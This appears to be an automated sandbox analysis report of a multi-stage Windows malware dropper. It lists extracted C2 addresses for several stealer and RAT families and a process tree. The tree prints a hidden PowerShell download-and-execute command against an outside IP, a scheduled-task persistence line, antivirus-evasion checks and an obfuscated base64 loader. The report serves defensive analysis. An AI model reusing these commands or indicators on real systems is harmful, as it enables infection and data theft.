Overview

overview

10

Static

static

3

YHN4K_random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2025, 06:22

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    YHN4K_random.exe

  • Size

    6.1MB

  • MD5

    6d59590bcc2cf8dc925d9edbf55a5001

  • SHA1

    c615992b8ed47f13000c1253ca6c1e5cd8eacba9

  • SHA256

    52eca724693525d2df076c0af355f8945af9a77dcb0e9a644ede46eb02674eeb

  • SHA512

    c687d0b597bdfba4209721284d51cb09efc74b28a516513de740ed04d2a7648227ca11850c3663149d4963ad22bf7be3507af1a18ac2c0bb6a90eb8f3b039e05

  • SSDEEP

    196608:i+XP7VLihuEaC+oz4k6Kc2vnrClAZxQ9Qh9WJCWDiJm5z:i+/7VL4uy4kddvrClEQ9Qh0C/Jm5

Score
10/10
amadeygcleanerlummaquasarxworm092155office04bootkitdefense_evasiondiscoveryexecutionloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://pepperiop.digital/oage

https://7jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://9advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://advennture.top/GKsiio

https://atargett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://xrfxcaseq.live/gspaz

https://jrxsafer.top/shpaoz

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:9000

45.134.39.20:9000
Mutex

oV8zKY7m1pKloRzQ

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Xworm Payload 1 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs
    defense_evasion
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 21 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 20 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 34 IoCs
  • Identifies Wine through registry keys 2 TTPs 10 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 47 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 46 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3500
      • C:\Users\Admin\AppData\Local\Temp\YHN4K_random.exe
        "C:\Users\Admin\AppData\Local\Temp\YHN4K_random.exe"
        2⤵
        • Adds Run key to start application
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1228
        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\T9X49.exe
          C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\T9X49.exe
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:324
          • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Q36j5.exe
            C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1Q36j5.exe
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:5252
            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
              "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Downloads MZ/PE file
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4940
              • C:\Users\Admin\AppData\Local\Temp\10473540101\cd67ac271a.exe
                "C:\Users\Admin\AppData\Local\Temp\10473540101\cd67ac271a.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:2276
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c schtasks /create /tn xEZ9ImaZHTN /tr "mshta C:\Users\Admin\AppData\Local\Temp\YMvsb7Jbt.hta" /sc minute /mo 25 /ru "Admin" /f
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:4000
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /tn xEZ9ImaZHTN /tr "mshta C:\Users\Admin\AppData\Local\Temp\YMvsb7Jbt.hta" /sc minute /mo 25 /ru "Admin" /f
                    8⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:1684
                • C:\Windows\SysWOW64\mshta.exe
                  mshta C:\Users\Admin\AppData\Local\Temp\YMvsb7Jbt.hta
                  7⤵
                  • Checks computer location settings
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3992
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZNKGFRF6EZPJPWLJAPEXJWRNUBRIAGKM.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                    8⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Downloads MZ/PE file
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:2060
                    • C:\Users\Admin\AppData\Local\TempZNKGFRF6EZPJPWLJAPEXJWRNUBRIAGKM.EXE
                      "C:\Users\Admin\AppData\Local\TempZNKGFRF6EZPJPWLJAPEXJWRNUBRIAGKM.EXE"
                      9⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      PID:828
              • C:\Users\Admin\AppData\Local\Temp\10473550101\9c6086ff35.exe
                "C:\Users\Admin\AppData\Local\Temp\10473550101\9c6086ff35.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:5208
              • C:\Users\Admin\AppData\Local\Temp\10473560101\8cfb1e3315.exe
                "C:\Users\Admin\AppData\Local\Temp\10473560101\8cfb1e3315.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3864
                • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                  "C:\Users\Admin\AppData\Local\Temp\10473560101\8cfb1e3315.exe"
                  7⤵
                  • Downloads MZ/PE file
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4512
              • C:\Users\Admin\AppData\Local\Temp\10473570101\YMauSAr.exe
                "C:\Users\Admin\AppData\Local\Temp\10473570101\YMauSAr.exe"
                6⤵
                • Executes dropped EXE
                PID:432
              • C:\Users\Admin\AppData\Local\Temp\10473580101\qhjMWht.exe
                "C:\Users\Admin\AppData\Local\Temp\10473580101\qhjMWht.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:868
              • C:\Users\Admin\AppData\Local\Temp\10473590101\9sWdA2p.exe
                "C:\Users\Admin\AppData\Local\Temp\10473590101\9sWdA2p.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:4128
              • C:\Users\Admin\AppData\Local\Temp\10473600101\larBxd7.exe
                "C:\Users\Admin\AppData\Local\Temp\10473600101\larBxd7.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4732
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1532
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5556
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /I "opssvc wrsa"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:836
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    8⤵
                    • Enumerates processes with tasklist
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4112
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4812
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c md 689912
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4988
                  • C:\Windows\SysWOW64\extrac32.exe
                    extrac32 /Y /E Exclusion.psd
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:1056
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr /V "users" Findarticles
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:5860
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4472
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:4808
                  • C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
                    Jordan.com b
                    8⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2096
                  • C:\Windows\SysWOW64\choice.exe
                    choice /d y /t 5
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3572
              • C:\Users\Admin\AppData\Local\Temp\10473610101\TbV75ZR.exe
                "C:\Users\Admin\AppData\Local\Temp\10473610101\TbV75ZR.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:4724
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:5616
              • C:\Users\Admin\AppData\Local\Temp\10473620101\LJl8AAr.exe
                "C:\Users\Admin\AppData\Local\Temp\10473620101\LJl8AAr.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1396
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3704
              • C:\Users\Admin\AppData\Local\Temp\10473630101\2098c28af5.exe
                "C:\Users\Admin\AppData\Local\Temp\10473630101\2098c28af5.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:5604
              • C:\Users\Admin\AppData\Local\Temp\10473640101\mTk60rz.exe
                "C:\Users\Admin\AppData\Local\Temp\10473640101\mTk60rz.exe"
                6⤵
                • Executes dropped EXE
                PID:2280
                • C:\Users\Admin\AppData\Local\Temp\onefile_2280_133883942182933571\ZSoeRVBe.exe
                  C:\Users\Admin\AppData\Local\Temp\10473640101\mTk60rz.exe
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5532
              • C:\Users\Admin\AppData\Local\Temp\10473650101\Rm3cVPI.exe
                "C:\Users\Admin\AppData\Local\Temp\10473650101\Rm3cVPI.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:736
              • C:\Users\Admin\AppData\Local\Temp\10473660101\n0hEgR9.exe
                "C:\Users\Admin\AppData\Local\Temp\10473660101\n0hEgR9.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:3012
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1548
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10473671121\ccosvAs.cmd"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:5544
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10473671121\ccosvAs.cmd"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:3484
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmx